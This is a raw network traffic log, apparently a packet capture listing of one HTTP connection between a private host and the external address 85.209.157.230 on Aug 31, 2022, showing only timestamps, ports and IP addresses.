Aug 31, 2022 14:28:35.646101952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646138906 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646390915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646409035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646425009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646470070 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646491051 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646502018 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646519899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646537066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646553040 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646565914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646590948 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646666050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646687031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646703959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646716118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646730900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646806002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646821022 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646852970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646868944 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.646904945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.646981001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647003889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647026062 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647031069 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647042036 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647053957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647089005 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647219896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647242069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647260904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647283077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647293091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647317886 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647339106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647376060 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647380114 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647392988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647413015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647440910 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647453070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647470951 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647486925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647499084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.647520065 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647537947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.647969961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648047924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648068905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648107052 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648108006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648123980 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648143053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648175955 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648184061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648199081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648221970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648245096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648269892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648281097 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648304939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648317099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648354053 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648385048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648452044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648473024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648494959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648502111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648515940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648519039 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648531914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648578882 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648581982 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648605108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648623943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648646116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648650885 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648670912 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.648684978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648696899 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.648737907 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670046091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670079947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670144081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670176983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670202971 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670207977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670234919 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670264006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670264006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670295000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670295000 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670340061 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670346975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670377016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670403004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670423031 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670459986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670528889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670712948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670773029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670775890 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670813084 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670833111 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670864105 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.670914888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.670943975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671034098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671062946 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671066999 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671086073 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671092033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671144962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671154976 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671171904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671196938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671224117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671252012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671252966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671266079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671277046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671297073 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671338081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671344042 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671403885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671432972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671454906 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671469927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671497107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671523094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671524048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671552896 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671577930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671583891 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671623945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.671704054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671735048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671788931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671811104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.671837091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.672211885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672245979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672274113 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672317028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672321081 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.672343016 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.672353983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672389030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672424078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672430038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.672458887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672492027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672499895 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.672527075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672569990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.672580004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672605038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672648907 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.672889948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.672960043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673000097 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673013926 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.673074007 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673110962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673146009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673154116 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.673178911 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.673183918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673248053 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673281908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673290014 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.673316956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673357010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673388004 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673398018 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.673615932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673651934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673686981 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673701048 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.673722029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673727989 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.673748016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.673990011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674027920 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674063921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674076080 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674098969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674107075 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674134016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674169064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674201965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674209118 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674236059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674242020 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674271107 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674309969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674320936 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674345970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674370050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674405098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674413919 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674438953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674472094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674505949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674513102 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674544096 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674545050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674586058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674618959 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674644947 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674654961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674694061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674729109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674740076 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674762011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674763918 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674787998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674820900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674859047 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674868107 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674895048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674930096 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.674935102 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.674969912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675008059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675014973 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675045967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675086021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675112963 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675124884 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675159931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675185919 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675196886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675224066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675237894 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675261021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675303936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675338030 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675342083 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675384998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675421953 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675430059 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675458908 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675493002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675502062 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675528049 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675564051 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675570965 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675596952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675632000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.675637960 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.675657988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.686794996 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.705914974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.705972910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706026077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706077099 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706099987 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.706123114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706135035 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.706172943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706222057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706269979 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.706274986 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706325054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706383944 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.706396103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706484079 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.706502914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706578016 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706634045 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.706670046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706763983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706825018 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.706845999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706904888 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.706943035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707014084 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.707055092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707108021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707165956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707237005 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707289934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707339048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707369089 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.707375050 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.707429886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707484961 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.707489967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707542896 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.707547903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707604885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707678080 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.707701921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707739115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707791090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707858086 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.707880020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707937002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.707990885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708045006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.708049059 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708106995 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708157063 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.708178043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708221912 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.708235979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708317041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708369970 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.708374023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708424091 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708461046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708477020 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.708520889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708584070 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708633900 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708682060 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.708733082 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708785057 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708789110 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.708873034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708925009 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708975077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.708976030 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709028006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709080935 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709093094 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709130049 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709173918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709212065 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709305048 CEST	80	49726	85.209.157.230	192.168.2.4
